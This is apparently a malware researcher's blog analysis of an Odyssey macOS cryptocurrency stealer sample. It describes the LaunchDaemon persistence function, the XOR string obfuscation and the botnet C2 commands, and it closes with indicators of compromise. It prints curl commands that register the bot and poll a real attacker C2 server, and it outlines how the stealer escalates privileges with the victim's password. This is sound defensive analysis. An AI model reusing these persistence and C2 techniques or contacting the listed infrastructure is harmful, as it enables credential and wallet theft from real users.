8 minutes
A Stealer Wants to Stay and I’m Not Okay with It

INTRODUCTION
Malware targeting cryptocurrency users is a well-established threat, the method of operation often used by well-known families such as AMOS or Banshee is what I like to call a run-and-run: the execution of the malware aims to make nothing appear to the user, exfiltrating data, passwords, cookies, etc., and then delete the artefacts left on the disk and terminate.
New variants however continue to surface with ever-evolving tactics, one such variant leverages a particularly mechanism to introduce persistence: the use of .plist
files. While it’s very uncommon in most cryptocurrency stealers to keep persistence, this method allows the malware to survive system reboots on macOS devices, ensuring its continued presence even after the user believes they’ve removed the infection.
In this post, I want to present my thoughts on a sample of Odyssey (a fork of AMOS), and what I believe to be a rudimental botnet implant added to the stealer’s capabilities.
STAGE ONE > File.dmg
“File.dmg”: 838abcc94667c917faa9e6f0ea022537 🤷♂️ pic.twitter.com/7qPl9xskHG
— MalwareHunterTeam (@malwrhunterteam) May 1, 2025
As for most stealers, our journey starts with a DMG file, brought to light by @malwrhunterteam
, which contains the Mach-o binary MD5: 838abcc94667c917faa9e6f0ea022537
. Usually Traffer Teams spread these disk images using malvertising and social engineering tactics, masking them as legit programs, however in this case the file is just named “File.dmg” not fitting this description. The executable is a 165KB FAT Mach-o, unsigned and therefore not notarised, written in C++ and first seen on VT on 2025-05-01 at 12:37:46 UTC
This Mach-o gets executed by right click + open
to bypass Gatekeeper that would block unsigned apps - method that does not work in new macOS versions (15.x
). It subsequently decodes a byte array, which is executed via the system()
call.
This byte array contains an AppleScript payload that closely resembles those deployed by AMOS, with a notable modification: the addition of support for a couple of wallets, but above all and the point where we will dwell, the inclusion of the f18()
function.
STAGE TWO > Osascript & f18

The function takes three arguments:
p0
: A working directory path where malicious files are stored (in this script’s case the $HOME env variable/Users/<username>
).p1
: The victim’s password, used to escalate privileges viasudo
.p2
: The command-and-control (C2) server IP address used to fetch the main payload.
The script begins by constructing a macOS LaunchDaemon property list (PLIST
). This is a system-level configuration file that instructs macOS to automatically run a specified script (.start
) at boot and keep it running.

The PLIST is configured with:
Label
: A unique identifier (com.love.russia.plist
).ProgramArguments
: Specifies/bin/bash
and the path to the.start
script.RunAtLoad
: Tells macOS to run it immediately upon loading.KeepAlive
: Ensures the script is relaunched if terminated.
It is stored temporarily in /tmp/starter
and later moved into /Library/LaunchDaemons/
.
Subsequently it uses curl
to download a file named botnet
from the C2 server (http://[p2]/otherassets/botnet
) and saves it as .init
in the working directory. It then makes the file executable using chmod +x
. This payload is the main backdoor client with command and control capabilities.
The function then builds a persistent execution loop that runs a shell script through osascript
. This loop repeatedly checks who is currently logged in to the physical console (/dev/console
) and, if a user is logged in and it is not root
, it runs the .init
payload as that user using sudo -u
. The loop ensures that the backdoor runs within the context of a real user session which allows access to user-specific resources, including the UI, keychains, or network configurations. The loop is saved to the .start
script, which is then marked as executable.
With all files in place, the script escalates privileges using the provided password (p1
) and performs the following:
- Copies the generated PLIST (
/tmp/starter
) into/Library/LaunchDaemons/
. - Loads the LaunchDaemon using
launchctl
, ensuring it starts on the next boot and continues running in the background. - Executes the downloaded
.init
payload in the background vianohup
, detaching it from the terminal.
This effectively installs a persistent, privileged malware agent that repeatedly impersonates the currently logged-in user and executes attacker-controlled code.
STAGE THREE > /.init
The .init
executable MD5: a30688696f8a41de4c54effdb00dcca3
is a 210KB Fat mach-o binary, signed ad-hoc to allow execution, and containing no string that attracts particular attention.

This is due to the fact that each string within the binary is obfuscated using an algorithm that relies on the generation of a pseudorandom key. This key is subsequently used to XOR each byte of the original string (and xored again with a static key) and vice-versa for decryption. A pseudorandom key is a sequence of bytes that appears random but is generated deterministically using a defined algorithm and an initial seed value. Although not truly random, such keys provide sufficient unpredictability for obfuscation purposes, making static analysis and reverse engineering significantly more difficult.

The image above illustrates the implementation of the algorithm on the x86-64 (Intel) architecture. In this context, the key variable is manipulated primarily through the rax
register. Specifically, both the 8-bit lower portion (al
) and the 32-bit portion (eax
) of the rax
register are utilized during the key manipulation process.
The decoding algorithm has been explained very clearly by @L0Psec
for arm:
📌 Tweet by @L0Psec (April 25, 2025)
“Another XOR with PRNG key. Here’s the pretty ARM64 instructions of the decoding.
Talks to88[.]214[.]50[.]3
like the other one referenced by @g0njxa.”
The malware begins by decoding the first blob of data, that evaluates to the previously-explained osascript
, without f18()
and thus repeating the crypto / information stealing process and exfiltrating to the same IP address.
It then checks the current system username against jackiemac
and root
, this behaviour is likely intended as a basic anti-analysis technique skipping execution on known usernames used in VirusTotal’s automated analysis environments.
The flow continues with an interaction with a file located at /tmp/botlock
checking whether /tmp/botlock
exists. If the file exists, it opens it in write mode using fopen()
and writes an empty string, it just exits otherwise. Its purpose might indicate the desire to prevent multiple instances of the script from executing simultaneously and may also be used to indicate that a previous execution occurred.
Same way goes with the decoded and constructed /Users/{username}/.username
filepath, and checks if the .username
file exists and empty.
The sample decodes and interacts next with a file at /Users/{username}/.botid
, if empty it enters an infinite while true
loop in which:
- It constructs a
curl
command to communicate with its C2 endpoint:
curl -s http://88.214.50.3/api/v1/bot/joinsystem/{username}
- If the server returns a non-empty string (presumably a bot ID):
- The bot ID is written to the
.botid
file. - The loop exits and the script proceeds to the next phase.
- The bot ID is written to the
- If the server response is empty:
- The malware sleeps for 60 seconds before retrying.
If the .botid file is nonempty instead, it assumes the bot is already registered and enters in a second while true
loop. Here it constructs a curl
command targeting the C2 actions endpoint:
curl -s http://88.214.50.3/api/v1/bot/actions/{botid}
The bot ID retrieved from the file is appended to the request and in this loop the malware polls for new commands or tasks issued by the server. The latter’s response must contain 2 half-columns (;) to continue validating the received command, otherwise it goes back to sleep. Each command has its own logic, which is straightforward without anything fancy:
- No Command received
The bot just sleeps for 0x3c seconds, i.e. 60 seconds as before.
- uninstall
With the uninstall
command, the sample proceeds to remove itself and the /.start
script which is called up by the LaunchDaemon to start the bot’s execution at start-up.
- repeat
With repeat
, the bot executes the previously decoded osascript and thus steals data from the user’s wallet, cookies, passwords in the keychain, etc. again. All without re-establishing persistence again, probably to avoid conflicts and duplicate files.
- doshell
Finally, with doshell
, the bot can receive an arbitrary command from the C2 that is executed with the permissions of the logged-in user. The output is never sent back to the C2, executing the received command blindly.
Interestingly, the interaction between the sample and the underlying machine is all through the C++ function popen()
in read mode and the output is read from the stream using the *FILE handle.

THOUGHTS
After my analysis I have the feeling that this is a prototype. Let’s be clear, this is still a malware written with generative artificial intelligence (at least for the most part), so it will always have that veil of uncertainty from putting bits and pieces together. However, there are some things that lead me in this direction:
-
The name “File.dmg” does not seem like an attempt to disguise the application as something legitimate, like what we observe in the wild with mavertising campaigns.
-
The final payload, .init, reads from
/Users/{username}/.lastaction
a string, which is then checked with the hardcoded commands described above. However, I did not find any part of code where this file is written, either after receiving the command from C2 or after executing it, but I cannot exclude an oversight of mine.
Persistence however works, manually testing the function f18()
on macOS Sequoia 15.4 the plist is moved and loaded successfully. I also noticed that no user interaction request is made to inform the user of the persistence activation, which should generally appear when LaunchDaemons are loaded. So this may not ‘disturb’ the stealing activity by making the user suspicious.
CLARIFICATION
After posting my analysis, @malwrhunterteam
made me notice that there are other similar samples that have been identified with a different name, implementing the same .plist
mechanism. For example, Chrome.dmg MD5: cc39411f977fc1110322e43e6fa60918
was submitted on Virustotal the day before File.dmg. This could mean that the actual project is further than in a prototype phase, and it could be already distributed in malvertising campaigns.
IOCs
As of the time of writing, the APIs and the botnet file appear to be available for the majority of Odyssey-related command-and-control (C2) infrastructure identified to date.
------------------------------------------------------------------------
File.dmg
SHA256: 15b17ef342a4f87309e096286e35409f3d1d19a745b0979b64e8a1c0d8e803d7
/File.app/Contents/MacOS/File
SHA256: 59c00aab2126eed4d1e4a94b6772c806f4088913f5afee62829e0683c33fd3ad
/.init
SHA256: 74d7f64fa3185f775a9816003e5c33487dcc68f92e4fd81310144922271f103a
------------------------------------------------------------------------
/Library/LaunchDaemons/com.love.russia.plist
/Users/{username}/.start
/Users/{username}/.botid
/Users/{username}/.username
/tmp/botlock
------------------------------------------------------------------------
88.214.50.3
185.147.124.212
5.199.166.102
odyssey-st.com
83.222.190.214
------------------------------------------------------------------------